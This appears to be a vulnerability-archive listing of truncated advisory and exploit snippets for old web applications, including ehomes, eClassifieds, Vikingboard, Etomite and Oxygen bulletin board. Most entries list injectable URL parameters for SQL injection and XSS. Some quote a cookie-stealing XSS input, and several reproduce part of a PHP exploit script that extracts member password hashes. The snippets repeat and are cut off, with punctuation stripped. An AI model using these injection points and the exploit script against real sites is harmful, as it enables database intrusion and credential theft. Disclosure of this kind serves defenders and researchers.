ehomes [multiples injections sql]

vendor site: http://enthrallweb.us/ product : ehomes bug:injection sql risk : medium injection sql : /dircat.asp?cid='sql /dirSub.asp?sid='sql /types.asp?TYPEID='sql /homeDetail.asp?ADID='sql /result.asp?city=1&cat='sql /compareHomes.asp?compare='sql /compareHomes.asp?compare=Compare&clear='sql...

ContentNow CMS 1.39 Sql Injection + Path Disclosure Vulnerabilities

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ContentNow CMS 1.39 'pageid' Sql Injection + Path Disclosure Severity : Medium Risk Vendor : http://www.contentnow.mf4k.de/ Author : Revenge -------------------------------------------------- Description ContentNow is a PHP Content Management System w...

Classified System [injection sql]

vendor site: http://www.vspin.net/ product :Classified System bug:injection sql risk : medium injection sql : /cat.asp?cat='sql /search.asp?in=y&keyword='sql /search.asp?in=y&keyword=1&submit=Search&order='sql /search.asp?in=y&keyword=1&submit=Search&order=tblclassads.colid&sort='sql...

ehomes.txt

vendor site: http://enthrallweb.us/ product : ehomes bug:injection sql risk : medium injection sql : /dircat.asp?cid='sql /dirSub.asp?sid='sql /types.asp?TYPEID='sql /homeDetail.asp?ADID='sql /result.asp?city=1&cat='sql /compareHomes.asp?compare='sql /compareHomes.asp?compare=Compare&clear='sql...

eClassifieds.txt

vendor site: http://enthrallweb.com/ product : eClassifieds bug:injection sql risk : medium injection sql : /ad.asp?ADID='sql /ad.asp?catid='sql /dircat.asp?cid='sql /dirSub.asp?sid='sql /ad.asp?catid=35&subid='sql /ad.asp?catid=35&subid=102&adid='sql laurent gaffié & benjamin mossé...

rapidclassified31.txt

vendor site: http://www.4u2ges.com/ product : Rapid Classified v3.1 bug: multiple xss get & injection sql risk : medium injection sql : /viewad.asp?id='sql xss : /reply.asp?id=xss /viewprint.asp?id=xss /search.asp?categoryName=1&SH1=xss /reply.asp?id=50120815480100001&name=xss...

infinsql.txt

product:Infinitytechs Restaurants CM bug:injection sql risk:medium injection sql: /rating.asp?id='sql /mealrest.asp?mealid='sql /resdetails.asp?resid='sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

vikiboard012.txt

vendor site:http://vikingboard.com/ product:Vikingboard 0.1.2 bug:local file include & multiples permanent xss risk:medium error sql : /members.php?s=-80 xss permanent : - in private message , an attacker can send a pm to an administrator with some javascript into the subject field an get his...

Vikingboard (0.1.2) [ multiples vulnerability ]

vendor site:http://vikingboard.com/ product:Vikingboard 0.1.2 bug:local file include & multiples permanent xss risk:medium error sql : /members.php?s=-80 xss permanent : - in private message , an attacker can send a pm to an administrator with some javascript into the subject field an get his...

oxygen-SQL.txt

!/usr/bin/php -------------------------------------------------------\n"; exit1; print "\n Please be patient max=736 hits...\n MD5: "; $host = !pregmatch"/^http://\S/",$argv1,$hwttp ? $argv1 : $hwttp1; $path = $argv2; $usid = intval$argv3; $tabl = "o2members"; for$x=1; $x=32; $x++ for$y=48;...

Oxygen <= 1.1.3 (O2PHP Bulletin Board) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/php ? if$argc4 print" ------------------------------------------------------- Affected.scr..: Oxygen = 1.1.3 O2PHP Bulletin Board Poc.ID........: 14061118 Type..........: SQL Injection Risk.level....: Medium Conditions....: registerglobals = on...

Infinitytechs Restaurants CM

product:Infinitytechs Restaurants CM bug:injection sql risk:medium injection sql: /rating.asp?id='sql /mealrest.asp?mealid='sql /resdetails.asp?resid='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

Active News Manager [ injection sql (post&get)]

vendor site:http://www.dotnetindex.com/ product:Active News Manager bug:injection sql risk:medium injection sql get http://site.com/activenews/activeNewscategories.asp?catID='sql http://site.com/activeNewscomments.asp?articleID='sql injection sqlpost : in the search engine:...

Oxygen 1.1.3 (O2PHP Bulletin Board) - SQL Injection

!/usr/bin/php -------------------------------------------------------\n"; exit1; print "\n Please be patient max=736 hits...\n MD5: "; $host = !pregmatch"/^http://\S/",$argv1,$hwttp ? $argv1 : $hwttp1; $path = $argv2; $usid = intval$argv3; $tabl = "o2members"; for$x=1; $x mi...

Oxygen 1.1.3 (O2PHP Bulletin Board) - SQL Injection

Oxygen 1.1.3 O2PHP Bulletin Board - SQL Injection !/usr/bin/php -------------------------------------------------------\n"; exit1; print "\n Please be patient max=736 hits...\n MD5: "; $host = !pregmatch"/^http://\S/",$argv1,$hwttp ? $argv1 : $hwttp1; $path = $argv2; $usid = intval$argv3; $tabl =...

anm-sql.txt

vendor site:http://www.dotnetindex.com/ product:Active News Manager bug:injection sql risk:medium injection sql get http://site.com/activenews/activeNewscategories.asp?catID='sql http://site.com/activeNewscomments.asp?articleID='sql injection sqlpost : in the search engine:...

Etomite CMS 0.6.1.2 Multiple Vulnerabilities ( Sql Injection + Local file inclusion )

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Etomite CMS 0.6.1.2 Multiple Vulnerabilities Severity : Medium risk Vendor : www.etomite.org Author : Alfredo Pesoli 'revenge' -------------------------------------------------- Description Etomite is a PHP Content Management System, more info can be...

candypress.txt

vendor site:http://www.candypress.com/ product:CandyPress Store bug:injection sql risk:medium injection sql get : http://site.com/sa3.5.2.14/scripts/openPolicy.asp?policy='sql http://site.com/sa3.5.2.14/scripts/prodList.asp?brand='sql laurent gaffié & benjamin mossé http://s-a-p.ca/ contact:...

eShopping Cart [injection sql]

vendor site:http://www.enthrallweb.com/ product:eShopping Cart bug:injection sql risk:medium injection sql : http://site.com/reviews.asp?ProductID='sql http://site.com/subProducts.asp?catid='sql http://site.com/productdetail.asp?ProductID='sql http://site.com/subProducts.asp?catid=27&subid='sql...

astoreecom.txt

vendor site:http://www.webinhabit.com/ product:A+ Store E-Commerce bug:injection sql & xss post risk:medium injection sql get : http://site.com/browse.asp?ParentID='sql xss post : in /accountlogin.asp: username = '"alertdocument.cookie'"alertdocument.cookie passwd =...